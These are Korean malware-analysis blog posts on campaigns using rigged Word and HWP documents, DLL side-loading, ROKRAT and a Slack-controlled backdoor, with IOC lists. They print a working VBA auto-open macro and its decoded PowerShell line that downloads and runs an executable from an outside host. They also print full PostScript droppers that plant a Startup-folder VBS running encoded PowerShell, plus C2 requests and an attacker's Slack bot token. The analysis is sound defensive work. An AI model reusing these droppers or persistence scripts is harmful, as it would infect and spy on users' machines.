최근 분석한 샘플(링크)과 유사한 샘플 지속적으로 확인되어 쉘코드까지 전부 분석을 진행하였으며 쉘코드가 동작하는 과정에서 Process Environment Block (이하 PEB)에서 Kernel32.dll의 주소를 얻어와 DLL을 로드하고 파일을 추가로 받아오는 과정을 정리한다. (Windows 7 x64 기준으로 작성됨)

 

쉘코드가 동작하면 우선 2E008F에서 문자열 "wininet"과 추후 API를 찾기 위한 고유값을 저장 후 TIB+0x30 위치의 PEB 구조체에 접근한다. 이후 PEB_LDR_DATA에서 InMemoryOrderModuleList에서 BaseDllName을 읽어온다. 이는 LDR_DATA_TABLE_ENTRY 구조체의 포인터로 프로세스 모듈의 정보를 담고 있다. (참고

 

이후 DllBase 주소를 가져와 PE 헤더 정보를 파싱하고 Export Table 정보를 가져와 데이터가 있는지 확인하는 구간과 저장된 고유값을 계산하고 비교하는 구간 그리고 찾는 api가 확인될 경우 호출하는 구간으로 나누어져 있다. 내부에 포함된 모듈의 경우 windows7 기준으로 초기화된 순서에 따라 현재 프로세스 -> ntdll -> kernel32 ... 순으로 확인하며 처음으로 LoadLibrary를 찾아 wininet.dll를 추가로 로드한다. 다음은 API에 대한 고유값을 나타낸다

 

- 0x0726774C : LoadLibrary

- 0xA779563A : InternetOpenA

- 0xC69F8957 : InternetConnectA

- 0x3B2E55EB : HttpOpenRequestA

- 0x869E4675 : InternetSetOpentionA

- 0x7B18062D : HttpSendRequestA

- 0x5DE2C5AA : GetLastError

- 0x315E2145 : GetDeskTopWindow

- 0x0BE057B7 : InternetErrorDlg

- 0xE553A458 : VirtualAlloc

- 0xE2899612 : InternetReadFile

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

3월부터 토탈에서 지속적으로 코인거래소와 관련된 제목과 내용을 가지고 있는 문서가 확인되었다. 이 공격은 현재까지 지속적으로 이루어지고 있는 것으로 확인되며 유사한점이 많아 분석을 진행하였다. 

 

 

4 10일에 마지막으로 수정되었으며 정상적인 워드 문서로 위장하고 있는 파일은 취약점을 악용하며  매크로 코드가 포함되어 있지않지만 추가로 다운로드 받은 파일(매크로 코드가 포함된 워드서식)에 의해 콘텐츠 사용버튼을 누름으로써 매크로 코드가 동작하게 된다.

 

 [그림 1] 콘첸츠 사용 유도

 

[그림 2] 문서 마지막으로 수정한 날짜 및 만든이

 

매크로 코드는 추가 파일을 다운로드 받기 위해 시도하며 Powershell을 사용하여 동작시킨다.

Private Sub Document_Open()
myvba
End Sub

Private Sub myvba()
Dim shp As Shape

 
'Delete Shapes
For Each shp In ActiveDocument.Shapes
    shp.Delete
Next shp
    Dim str, str1, str2, str3, str4, str5, str6, str7, str8, str9, str10, str11, str12, str13, str14, str15
    str1 = "cm"
    str2 = "d /c powers"
    str3 = "hell w"
    str4 = "get -u"
    str5 = "ri "
    str6 = "https://down.mt3232.com/cs/"
    str7 = "log.txt"
    str8 = " -outfile C:\Users\Public\Documents\log.e"
    str9 = "xe;[System.Diagnostics.Pro"
    str10 = "cess]::St"
    str11 = "art('"
    str12 = "C:\Users\Public\Documents\log.e"
    str13 = "xe',"
    str14 = "'asijdoaj"
    str15 = "sid');"
    str = str1 & str2 & str3 & str4 & str5 & str6 & str7 & str8 & str9 & str10 & str11 & str12 & str13 & str14 & str15
    Set ws = CreateObject("WScr" & "ipt.Sh" & "ell")
    ws.Run str, 0, False

 
End Sub

 

cmd /c powershell wget -uri https://down.mt3232.com/cs/log.txt -outfile C:\Users\Public\Documents\log.exe;[System.Diagnostics.Process]::Start('C:\Users\Public\Documents\log.exe asijdoajsid');

 

 

 

받은 파일(log.exe)은 NHN의 서명을 가지고 있으며 4월13일자로 등록되어있다. 내부 리소스에는 2개의 파일이 포함되어있으며 정상적으로 동작할 경우 동일한 폴더에 각각 생성 후 스케줄러를 사용하여 동작시킨다.

 

[그림 3] NHN 위장 서명

 

[그림4] 내부에 포함된 리소스

 

생성파일 1. GoogleUpdate.exe (정상파일)

  - 스케줄러명 #1 : GoogleUpdate (매일 오전9시 동작)

  - 스케줄러명 #2 : GoogleUpdateOnce (5분 후)

생성파일 2. goopdate.dll (악성, UPX)

 

 

리소스파일은 DLL Side-Loading 이라는 기법을 사용하는 것으로 보인다. GoogleUpdate.exe 파일은 정상 구글업데이트 파일로 실행 시 goopdate.dll의 DllEntry 함수를 동작시키는 코드가 포함되어 있는데 공격자를 이를 악용하여 생성파일2(goopdate.dll)를 동작시킨다. 정상적으로 동작한 DLL파일은 정상적인 PC에서 동작하는 것인지 확인하기 위해 프로세서가 4 이상인지 확인 후 동작시킨다.

 

[그림 5] 정상 goopdate.dll의 DllEntry 함수

 

[그림 6] 악성 goopdate.dll의 DllEntry 함수

 

GoogleUpdate.exe에서 goopdate.dll를 찾아서 로드하여 DllEntry 함수를 실행하는 과정에서 DLL의 경로를 가져오며 그 값에서 +0x06에 위치한 데이터(0x55)를 쉘코드의 복호화 키로 사용한다. 쉘코드에서 통신하는 최종 C&C 서버는 코인거래소(빗썸)과 유사한 주소를 가지고 있으며 추가 바이너리를 받아와 복호화 후 메모리에 다시 로드하는 과정을 포함하고 있다.

 

 

번외로 최종 C&C서버는 동일하게 사용하며 코인원, 업비트 등등 다양한 형태의 문서로 위장하여 사용자에게 유포되고 있으며 log.txt파일은 NHN 서명을 계속 포함하고 있었다. 또한 log.txt 페이지는 정상적인 접근이 아니라면 리다이렉션 되도록 설정이 된듯한데 리다이렉션되는 페이지가 네이버로 되어있더라....

 

사전투표 미리하고 집에서 잉여처럼 지낼예정이였으나 어제는 논다고 바빠서 마무리를 못했지만 오늘이라도 올려본다

 

[그림 7] 유포된 문서들 내용 일부

 

[IOC]

734618D96B0C73E2F36CDCCC3DE73F7A (새로운 방안입니다_1.docx)

84008911B1028EBDC1EC642051B21389 (word.dotm)

EBF2973E4CA3C86CC9DE396DF9137DAD (log.txt)


down.mt3232.com 
products.0ffice-microsoft.com 
cs.bit-humb.com

 

[유사샘플] 
16EC6973838186155689FCC9DDDF1FDA 
4738EF788DD7AA1C4CB774E217A9897E 
1007284d1267920766403c5657a1b9b4 
05D568E6CE9707795098D9DA70C474E5 

 

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

최근 유사한 샘플이 토탈을 통해서 지속적으로 수집되었다. 이스트소프트에서 Operation Blue Estimate으로 명명하여 IOC를 공개하였다. (링크)

 

 

hash (md5)

스트링 복호화 루틴 특징

1

35d60d2723c649c97b414b3cb701df1c

X

2

da799d16aed24cf4f8ec62d5048afd1a

암호화된 데이터에 키값이 포함되어 있으며 xor

3

20add5eb5fbe527a8b6090a08e7636a6

X

4

cf87475a87cb2172e73ee6afa7eb6384

디코딩된 데이터 +0x03

5

47c95f19ebd745d588bb208ff89c90ba

암호화된 데이터에 키값이 포함되어 있으며 xor

 

샘플을 분석하는 과정에서 스트링 복호화 루틴이 조금씩 변경되는점을 확인하여 추가로 분석을 진행하였다. 다른분께서 1번2번은 이미 글을 올려주셨기에 줍줍했으며 3번은 1번과 크게 다른점이 없어 자세하게 분석을 진행하지 않았고 4번과 5번의 문자열 복호화 로직에 대해서만 히스토리를 남기기위해 언급 해볼까한다. (링크1) (링크2)

 

 

4번 샘플은 암호화된 데이터에 사칙연산을 통해서 복호화를 진행한다. 16byte크기만큼은 키테이블을 이용하며 나머지 데이터에 대해서는 고정값(0x03)을 더하여 연산을 수행한다. 하지만 키테이블에 있는 값도 전부 0x03이므로 길이를 나누어 연산하는 의미가 없어진다.

 

문자열 복호화 루틴
키 테이블

 

5번 샘플은 인젝션 후 동작하는 과정에서 DllMain이 로드되기전에 일부 문자열을 먼저 복호화 후 동작하게 된다. 복호화를 진행하는 루틴은 3번 샘플과 거의 유사한 형태로 복호화를 진행되며 인자로 넘어간 hex ascii를 바이너리로 변경 후 앞에서 16byte 크기만큼을 키테이블로 사용하고 그 뒤의 값을 복호화시킬 데이터로 사용하여 1byte씩 xor 연산을 진행한다. 이후 정상 프로세스에 인젝션되어 문자열들을 다시 복호화시키지만 전체적인 루틴은 크게 달라질것이 없다.

 

3번 샘플과 다른점이라면 데이터를 스택에 저장하기 위해 연산을 나눠서 하는것이 아닌 한번에 한다는점?

 - 연산 : encStr[i] ^ encStr[i+1] ^ keyTable

 

문자열 복호화 루틴
인젝션된 데이터에서의 문자열 복호화 루틴

 

꾸준히 등장하고 있지만 아직까지는 그나마 단순하게 동장하는듯하니 꾸준히 지켜보자. 이만

 

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

2019년 11월 18일 바이러스토탈에서 악성으로 추정되는 샘플이 헌팅되었으며 헌팅된 문서는 “제9대 한국국가정보학회 회장 선거 및 선거관리위원회 구성 공고” 라는 내용을 포함하고 있다. 싸이버워(이하 싸워)에서 올린 사진(링크)에 따르면 한국국가정보학회 홈페이지에서 유포를 하였거나 또는 정상적인 문서를 악용하여 유포한 것으로 추정된다. 공격자들은 4월 한국정치학회 위장, 7월 한국국제정치학회 위장에 이어 또다시 다른 학회를 위장하는 것으로 보인다. 

 

구분 유포 날짜 파일명 또는 내용 (악용된 학회명)
파일 #1 2019-10 추정 new_제9대 학회장 선거공고 및 입후보 신청서 관련
(한국국가정보학회)
파일 #2 2019-07 추정 한국국제정치학회 회원카드 관련 (한국국제정치학회)
파일 #3 2019-04-12 춘계학술회의 프로그램 관련 (한국정치학회)

[표 1] 특정 학회를 위장한 공격 사례

 

특정 학회를 위장하여 시도된 공격은 [표 1]과 같으며 새로 확인된 공격(파일#1)이 기존에 유포된 공격과 일부 유사한 점을 확인하여 분석을 진행하고자 한다.

 

 

유포된 한글 문서는 2019-10-28 11:26:39 (UTC)에 마지막으로 저장되었으며 싸워에서 올려둔 사진에서 학회 홈페이지에 게시글이 업로드된 시간은 2019-10-28 15:42이다. 공격자가 실제로 홈페이지에 업로드된 문서를 악용한 경우라면 KCT 기준 홈페이지에 업로드 후 대략 4시간 만에 제작된 것으로 추정된다. (현시각 홈페이지는 잠정적으로 폐쇄한다는 문구가 적혀있고 접속이 불가능함)

 

new_제9대 학회장 선거공고 및 입후보신청서 HwpSummaryInformation

 

Stage 1. 포스트스크립트

내부에 포함되어 있는 포스트스크립트는 실행될 경우 2개의 파일을 시작프로그램과 다른 폴더에생성한다. 생성된 파일은 각각 BASE64로 인코딩된 데이터 파일과 인코딩된 데이터 파일을 실행시켜줄 VB스크립트로 이루어져 있다. 동작은 시작프로그램에 생성되어 부팅 시 자동으로 실행되는 VB스크립트에서 파워쉘 EncodedCommand 옵션을 사용하여 데이터를 디코딩 후 실행시키도록 구성되어 있다.

 

포스트스트립트 일부

(%appdata%)\Microsoft\Windows\Start Menu\Programs\Startup\Zeorder88.0.2.vbs
(%appdata%)\Microsoft\AutoCad.mji.ver01

[표 2] 생성되는 파일 경로

 

디코딩된 스크립트는 kernel32.dll Import -> Binary Download -> VirtualAlloc() -> CreateThread 순으로 메모리에 로드되어 동작한다. 

 

디코딩된 스크립트

 

Stage 2. Injected Shellcode (feat. ROKRAT)
로드된 쉘코드는 특정 위치의 데이터를 읽어와 디코딩 과정에 사용할 크기와 키값으로 사용하며 메모리를 추가로 할당하여 4바이트씩 디코딩 과정을 수행한다.

 - size : 0x0007B200

 - key : 0x11A811A7

 

인코딩된 데이터
디코딩 과정

 

디코딩 후 파일 형태로 로드되어 동작하며 파일은 ROKRAT라고 불리는 악성코드이다. 위에서 언급한 3개의 파일 모두 최종 페이로드로 같은 유형의 악성코드를 메모리에서 동작시키며 주요 특징은 사용자 정보를 수집 후 C&C서버를 클라우드 스토리지의 오픈API를 사용하여 파일을 주고받는다. (이미 분석된 내용이 많으므로 자세한 내용은 클릭)
 - token : 6HVrZkS73Uk8M6T7ZJYj7N7ZV8hsboKJRz5855MzoG4iBJaRikA

 

 

※ 포스트 스크립트 특징/패턴
전에 올린 게시물(클릭)에서처럼 시작프로그램에 스크립트 형태의 파일을 생성하여 사용하며 포스트스크립트에서 단순한 이름으로 선언하여 데이터 스트림을 지속적으로 사용하는 방식을 사용한다. 다시 말하지만 해당 특징들은 일반적으로 많이 쓸 수 있고 쉽게 쓰는 패턴이므로 참고만 바란다.

 

/envstr
/appenv
/file0 ~ /file10
/path0 ~ /path10 

[표 3] 자주 선언된 변수명

 

또한 7월경에 유포된 한국국제정치학회 위장(파일#2)와 매우 유사한 포스트 스크립트 패턴을 볼 수 있으며 인코딩된 BASE64 데이터와 시작프로그램에 생성되는 VB스크립트의 파일명을 제외하고 [표 4]와 같이 매우 유사한 패턴을 확인할 수 있다. 

 

%!PS-Adobe-3.0 EPSF-3.0 

/Jackon{ exch dup 7 pop length 7 pop 4 pop 3 2 pop pop 2 index 4 pop length add string  dup dup 4 8 pop 5 pop 2 roll 3 pop 7 pop copy 2 pop 3 pop length 2 pop 3 pop 4 -1 roll putinterval}bind def (appd) (ata) Jackon /appenv exch def appenv getenv pop /envstr exch def envstr(\\Microso)Jackon/patho exch def patho(ft\\Windows\\Start M)Jackon/path7 exch def path7(enu\\Programs\\S)Jackon/path8 exch def path8(tartUp\\Zeorder88.0.2.vbs)Jackon/path4 exch def envstr(\\Microsoft\\AutoCad.mji.ver01)Jackon/path2 exch def path4 (w) file /file0 exch def file0 (Dim ww,p,fp:fp=")writestring file0 path2 writestring file0 (":Set dd=WScript.CreateObject\("WScript.Shell"\):Set rr=CreateObject\("Scripting.FileSystemObject"\):If rr.FileExists\(fp\) Then:Set readfile=rr.OpenTextFile\(fp, 1, false,-2\):cs=readfile.ReadAll:readfile.close:ww=dd.ExpandEnvironmentStrings\("%windir%"\):p=ww+"\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe":If Not rr.FileExists\(p\) Then:p=ww+"\\System32\\WindowsPowerShell\\v1.0\\powershell.exe":End If:p=p+" -Enc " & """" & cs & """":dd.Run p,0,true:End if)writestring file0 closefile path2(w)file/file1 exch def file1(base64 encoding data)writestring file1 closefile
%!PS-Adobe-3.0 EPSF-3.0 

/Jackon{ exch dup 7 pop length 7 pop 4 pop 3 2 pop pop 2 index 4 pop length add string  dup dup 4 8 pop 5 pop 2 roll 3 pop 7 pop copy 2 pop 3 pop length 2 pop 3 pop 4 -1 roll putinterval}bind def (appd) (ata) Jackon /appenv exch def appenv getenv pop /envstr exch def envstr(\\Microso)Jackon/patho exch def patho(ft\\Windows\\Start M)Jackon/path7 exch def path7(enu\\Programs\\S)Jackon/path8 exch def path8(tartUp\\CleanCache_v40.0.2.vbs)Jackon/path4 exch def envstr(\\Microsoft\\Iconcache.fia.ver01)Jackon/path2 exch def path4 (w) file /file0 exch def file0 (Dim ww,p,fp:fp=")writestring file0 path2 writestring file0 (":Set dd=WScript.CreateObject\("WScript.Shell"\):Set rr=CreateObject\("Scripting.FileSystemObject"\):If rr.FileExists\(fp\) Then:Set readfile=rr.OpenTextFile\(fp, 1, false,-2\):cs=readfile.ReadAll:readfile.close:ww=dd.ExpandEnvironmentStrings\("%windir%"\):p=ww+"\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe":If Not rr.FileExists\(p\) Then:p=ww+"\\System32\\WindowsPowerShell\\v1.0\\powershell.exe":End If:p=p+" -Enc " & """" & cs & """":dd.Run p,0,true:End if)writestring file0 closefile path2(w)file/file1 exch def file1(base64 encoding data)writestring file1 closefile

포스트스크립트 비교 (파일#1 / 파일#2)

 

 

IOC
new_제9대 학회장 선거공고 및 입후보신청서.hwp (E232EE98E0777FE589F600AA6E62D967)
제목모름.hwp (452BE70FEB404EB5C7A61C579FC149EE)
[한국정치학회] 춘계학술회의 프로그램.hwp (DE4B2A970BFAB5209C9AA5C1A541FF76)

 

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

2019년11월4일 바이러스토탈에서 악성으로 추정되는 2개의 샘플이 헌팅되었으며 각각의 파일은 다른 파일명과 내용을 가지고 있고 바이러스 토탈의 서브미션 정보도 달랐지만 내부에 포함된 포스트스크립트는 동일한 파일로 확인되어 분석을 진행하였다.

 

 

두 개의 파일은 제목과 같이 [파일 1]은 신규코인을 상장하기 위한 신청서와 [파일 2]의 특정 인물로 위장한 이력서 사칭 문서로 이루어져 있다. 각각의 파일은 다른 대상을 목표로 공격을 시도했을 가능성으로 추정해본다.

 

파일1. [WhitePaper+소개]신규코인_상장_신청서2.hwp
파일2. 정찬혁_이력서2.hwp

 

Stage 1. 포스트스크립트
내부에 포함되어 있는 포스트스크립트는 실행될 경우 시작프로그램에 파일(%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe)을 생성하고 동작시키는데 스크립트는 코드영역과 그 코드영역에 포함되어 있는 데이터를 읽어와 하나의 파일로 만들어주는 영역으로 이루어져 있다.

 

포스트포스트스크립트 (createfile, readhexstring)
데이터 (/buf0 ~ /buf67)
포스트스크립트 (writestring)

 

※ 포스트 스크립트 특징/패턴
포스트 스크립트를 분석해보면 여러 회사에서 명명한 공격 그룹에서 사용하고 있는 공격 패턴과 유사한 점을 볼 수 있는데 우선 시작프로그램에 스크립트 형태의 파일이나 실행파일 형태로 생성 후 각 변수에 포함되어 있는 데이터를 16진수로 읽어와 쓰는 방법을 주로 사용한다. 여기서 자주 사용하는 변수명은 단순한 이름으로 선언하여 데이터 스트림을 지속적으로 사용하는 특징이 있다.

 

[자주 선언되는 변수명]
/envstr
/appenv
/popmenuw
/file0 ~ /file10
/path0 ~ /path10
/buf0 ~ /buf10

 

해당 특징들은 일반적으로 많이 쓸 수 있고 쉽게 쓰는 패턴으로 볼 수 있지만 현재까지 공개된 많은 유형의 포스트스크립트가 이와같은 특징/패턴을 가지고 있기에 참고할 수 있는 부분이라고 개인적으로 생각한다.

 

 

Stage 2. 시작프로그램의 실행파일(update.exe, memoryloader)
시작프로그램에 의해 실행된 파일은 공개된 슬랙(Slack) API를 사용하여 추가파일을 받아와 메모리에서 동작시키는 로더로써 역할을 수행한다. 우선 정상적으로 동작할경우 뮤텍스를 생성하고 추가 파일을 다운로드하기 위해 HTTP 헤더 정보를 복호화하여 가져온다.
 - decrypt xor key : 0x3FC83DF86413F23DBCBC653E9864FFA1

 

HTTP 헤더 정보 복호화 루틴

 

GET /TPCBPBQD8-FPQRX8SBD-0c03d3b809 HTTP/1.0 
Host: slack-files.com 
User-Agent: Google 
Connection: close

 

다운로드 바이너리

 

분석 당시 추가로 파일을 다운로드하지 못하여 추가 바이너리 파일을 어떤 착한분에게 협찬받아 진행하였기에 핵심부분만 빠르게 분석을 진행하였다. 다운로드한 바이너리 파일은 xor 연산을 통해 복호화를 수행하며 아까 사용한 키값과 동일하게 사용한다. 이후 현재 실행 중인 자신의 PID를 가져와 reflectiveLoader()를 사용하여 파일 형태로 로드시켜 동작시킨다. 

 

인젝션 루틴

 

 

Stage 3. Reflective DLL Injection
로드된 DLL은 쓰레드를 생성해서 행위를 수행하며 현재 실행중인 프로세스에서 고스트스크립트관련 프로세스인 “gswin32.exe”, “gswin32c.exe”, “gbb.exe”가 실행되고 있을 경우 프로세스를 종료시킨다. 이후 다수의 스레드를 동시에 수행시키며 악성행위를 수행한다.

스레드 #1
현재 실행중인 프로세스의 실행경로를 가져와 30분 주기로 시작프로그램에 자가복제 파일을 생성한다.

스레드 #2
키로깅 기능을 수행하며 추가로 GetCurrentHwProfileA()를 사용하여 컴퓨터의 하드웨어 프로필 정보를 수집하고 사용자를 식별하는데 사용하는 것으로 추정된다.

스레드 #3
백도어 기능을 수행하는 메인 코드로 악성코드는 C&C 서버로 주로 협업 도구로 사용되는 슬랙(Slack)을 사용하여 명령코드를 주고받고 수집된 정보를 전송한다. 스레드가 정상적으로 동작하면 추가로 파일을 다운로드하며 그 데이터를 읽어와 명령코드로 사용하게 된다.

 

GET /TPCBPBQD8-FPQRSHDH9-5a159cc196 HTTP/1.0 
Host: slack-files.com 
User-Agent: Google 
Connection: close

 

 

명령코드1에서 1바이트 크기의 명령코드를 확인 후 명령코드2를 추가로 검증하여 각기 다른 행위를 수행한다. 수집된 데이터는 슬랙과 통신을 통해서 전달되며 키값은 다음과 같다.
 - key : Bearer xoxb-794397398450-806735096260-kr3JbEBAw2Z4a9sGu6FHCZEg

 

명령코드1 (1byte) 명령코드2 기능
C (0x43) MD_ALL 또는 MD 수집된 파일 업로드
RL_ALL 또는 RL 다른 주소 접근(SSL)
D (0x44) IR_ALL 또는 IR 파일 검색
K (0x4B) EYLOG 키로거 기능 조작
S (0x53) CREEN_ALL 또는 CREEN 화면캡처
그 외 FILE_ALL 파일 전송
ING 동작하고 있는 프로세스 정보 수집

 

 

IOC
[WhitePaper+소개]신규코인_상장_신청서2.hwp (95FE089B63C095BFB2B25E8C6914D19D)
정찬혁_이력서2.hwp (D6709D7DAD54E31D87A2C721F09714FB)

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

올만?에 다시 돌아왔다.


갠드크랩(GandCrab)부터 소디노키비(Sodinokibi) 안랩에서는 현재 블루크랩(BlueCrab) 이라고 부르며 유포하고 있는 것으로 추정되는 공격 주체가 최근 그 목적이 랜섬웨어 정보 탈취로 변경되어 유포중에 있는 것을 확인하였다. 갠드크랩 시절부터 불특정 다수를 대상으로 공격을 시도한 것으로 추정되며 주로 메일 내용 또는 첨부파일에 한글로 된 내용을 포함시켜 사용자의 열람을 유도하도록 한다. 

현재 유포되고 있는 파일들이 악성행위를 수행하기 위해 코드를 메모리에 로드하여 동작시키는 과정에 대해서만 분석을 해보았다. 사실 갠드크랩, 소디노키비 등 코드를 메모리에 로드하기까지의 과정이 현재 유포되고 있는 형태뿐만 아니라 파워쉘, 자바스크립트 등 다양하게 존재하였기에 참고만 바란다. 

 

 

분석 :
유포된 악성코드는 특정 주소에 위치해 있는 데이터를 읽어와 저장한다. 저장한 데이터는 쉘코드의 위치와 크기를 가져오기 위함이며 메모리 공간을 할당받아 파일 내부에 포함된 데이터를 이동하여 복호화 과정이 이루어진다. 이후 권한을 주고 할당된 메모리 공간에 있는 데이터를 실행시켜주며 로더로서 기능을 마무리한다. 

1. 쉘코드 주소와 사이즈 그리고 가비지 코드 & 정크 코드 
쉘코드의 위치와 크기를 계산하기 위해 특정 주소에서 데이터를 가져와 사용한다. 데이터를 가져오는 과정에서 사용하지 않는 코드가 다수 포함되어 있으며 분석 속도를 늦추기 위함 또는 메모리 공간에 있는 데이터를 숨기기 위한 목적으로 보인다. 

 

동작에 있어 필요한 코드

저장된 각각의 4byte 크기의 데이터에 0xAC585를 합산하여 사용하며 합산된 데이터는 쉘코드의 크기와 위치를 구하는 데 사용된다. 이후 LocalAlloc()을 통해 메모리 공간을 할당하여 1byte씩 데이터를 삽입한다. (여러 샘플을 확인해본 결과 이와 같은 방식으로 쉘코드의 위치와 크기를 가져오며 합산하는 데이터는 가변적으로 사용하는 듯하다.)

쉘코드 크기 및 위치를 구하기 위해 합산

2. 복호화 및 실행
해당 악성코드에서는 두 번에 걸쳐 복호화가 이루어진다. 첫 번째 복호화를 위해 LocalAlloc()으로 메모리 공간을 다시 할당하며 처음 할당받은 메모리 공간에서 4byte 크기의 데이터를 읽어온다. 그중 마지막 1byte를 복호화 연산에 사용할 데이터로 이용하여 남은 3byte 크기의 데이터에 대해 연산 과정이 이루어지고 첫번째 복호화가 끝이 난다. (3byte만 사용하기에 최초 복호화에 사용된 데이터 크기와 복호화 후의 데이터 크기가 다른 것을 확인할 수 있다.)

1차 복호화 전 데이터

두 번째 복호화 루틴에서는 처음 1차 복호화된 데이터에서 4byte씩 두 번에 걸쳐 읽어와 저장한다. 이후 고정된 20byte 크기의 데이터를 4byte씩 각각 저장하여 복호화 연산에 사용할 데이터로 사용한다. 두번에 걸친 복호화 과정에서도 위에서 언급했다시피 사용하지 않는 코드가 다수 포함되어 있어 분석이 조금 까다로울 수 있다. (사실 내가 잘 몰라서 어려운 듯 하다.)

IDA에서 해석되는 2차 복호화 루틴

이후 VirtualProtect()로 권한을 할당하고 할당된 메모리의 시작 위치에서 0x1B2E 위치의 데이터를 실행하며 로더로서 역활을 마무리하게 된다.

 

 

(피드백은 언제나 환영입니다)

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

VT에서 "회장님 개명.hwp" 라는 제목의 한글 문서 샘플을 수집하였다. 6월부터 유사한 형태를 가진 한글 문서가 지속적으로 VT에서 헌팅되고 있으며 "투자계약서", "에어컨 유지보수 특수조건", "시스템 포팅 계약서(수정)", "(필수)외주직원 신상명세서" 등의 이름으로 유포되었다. (자세하게 알고싶다면 클릭)

 

VT first submission

2019-06-20

2019-07-02

2019-07-12

2019-07-15

2019-07-19

Filename

투자계약서.hwp

에어컨 유지보수 특수조건.hwp

시스템 포딩 계약서(수정).hwp

(필수)외주직원 신상명세서.hwp

회장님 개명.hwp

HWP Last save Time/Data

2019-06-18 14:56:17 (UTC)

2019-07-02 01:14:58 (UTC)

2019-07-11 22:52:16 (UTC)

2019-07-11 22:50:52 (UTC)

2019-07-11 22:49:53 (UTC)

 

※ 이 샘플을 보는 도중 VT에서 3개의 샘플이 추가적으로 헌팅되었으며 각각 "중고폰매각 공고문_19년 7차", "Last 1~5", "챠트 4-5" 라는 파일명을 가지고 있으며 유사한 형태로 동작하는 것을 확인하였다. 아마 추가적으로 계속 들어올 것으로 추정되며 그만좀 들어왔으면 좋겠다.

 

 

분석 :

7월 11일에 마지막으로 저장되어 공격에 사용된 것으로 추정되며 한글 문서는 제곧내.... 이름의 뜻에 대한 내용을 포함하고 있다.

 

한글 문서 내용 일부

문서 내부에 포함된 포스트스크립트는 16바이트 키값을 사용하여 XOR 연산을 걸쳐 쉘코드를 생성하여 메모리에 로드되어 실행된다. 여러 과정을 걸쳐 취약점이 터지고 쉘코드가 동작하겠지만 Image File Execution Options에 gswin32c.exe를 등록후에 attach하여 ROP 체인이 끝나는 쉘코드 위치로 바로 이동하여 분석을 진행하였다.

 

/Y101 <4E594530.........6D062D> def 0 1 Y101 length 1 sub {/Y18 exch 1 2 and pop def Y101 dup Y18 get <610074107FDE7195C1E91A75CC016327> Y18 15 and /Y104 8 def get xor Y18 exch put} for Y101 cvx exec

 

메모리에 로드된 쉘코드는 EIP를 가져오기 위해 PISHAD 이후 ENTER와 FSTENT 등을 이용하여 EIP를 가져와 사용하는데 쉘코드에서 많이 사용하는 방법 중 하나이다(참고1 참고2). 이후 특정 값(0xF42DD8F3)을 처음 키 값으로 사용하여 4바이트씩 이동하며 XOR 연산 과정을 걸쳐 페이로드 및 최종 쉘코드를 복호화하며 콜 함수로 호출하여 추가적인 행위를 수행한다.

 

복호화 루틴 / 복호화된 페이로드 주소

호출된 쉘코드는 다음과 같이 동작한다.

 

step 1. 쉘코드가 동작하고 있는 프로세스의 파일명을 가져와 explorer.exe와 비교한다.

프로세스 비교

step 2. 최초 감염된 피시의 경우 explorer.exe가 아니기에 감염된 사용자 피시에서 동작중인 프로세스(explorer.exe)를 찾아 64bit 프로그램인지 확인하고 쉘코드를 인젝션하여 다시 동작시킨다.

인젝션 루틴

step 3. step 1과정을 다시 걸쳐 정상적으로 인젝션되어 동작되었을 경우 복호화된 페이로드 주소를 가져와 파일을 추가로 받아와 동작한다.

 

다운로드 C&C 주소 

Hash (MD5)

https://www[.]fabiocanducci.com/img2.dat (32bit)

 D9FF83A765C4040EDA05E5B6468A35B2

https://www[.]fabiocanducci.com/img4.dat (64bit)

7F035BE4590A624A9DC816176AF942DA

 

받아온 파일은 3개의 C&C 서버와 통신을 하며 받아온 명령코드에 따라 정보수집 등의 악성행위를 수행할 수 있는 것으로 확인했다. 자세하게 분석은 진행하지 않았으니 참고바란다.

 

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

제목 없음

[+] Analysis 2019. 7. 12. 10:50

바이러스토탈에서 재미있는 샘플을 찾고 있던 와중에 이스트시큐리티에서 명명한 Campaign Smoke Screen PART2와 비슷한 공격 벡터로 보이는 샘플을 확인하였다. 분석에 앞서 이미 이스트시큐리티에서 관련 캠페인에 대한 공격 벡터를 총 3개의 스테이지로 나누어 잘 표현해두었으니 참고바란다. (추가로 자세한 분석 내용은 없으니 너무 기대하지 마시길)

 

 

분석

최근 악성 한글문서에 패스워드가 걸려있고 이메일에 패스워드를 포함하여 공격하는 것처럼 해당 워드 문서에도 패스워드가 걸려있다. 또한 문서 내부에는 매크로 코드가 포함되어 있어 실행 시 악성 행위가 발생한다.

 

6월 26일에 제작된 문서는 구글신의 도움을 받아 확인한 결과 5월5일에 북한의 미사일 도발에 대한 내용을 포함하고 있는것으로 추정된다.

 

 

문서에 포함된 매크로 코드는 WMI 정보를 확인하여 가상환경여부를 체크하고 동작하고 있는 프로세스와 서비스를 검색하여 안티바이러스 제품을 확인한다.

 

프로세스

"mbam.exe", "mbamservice.exe", "McShield.exe"

서비스

"mbam", "mbamservice", "WinDefend", "McShield"

 

 

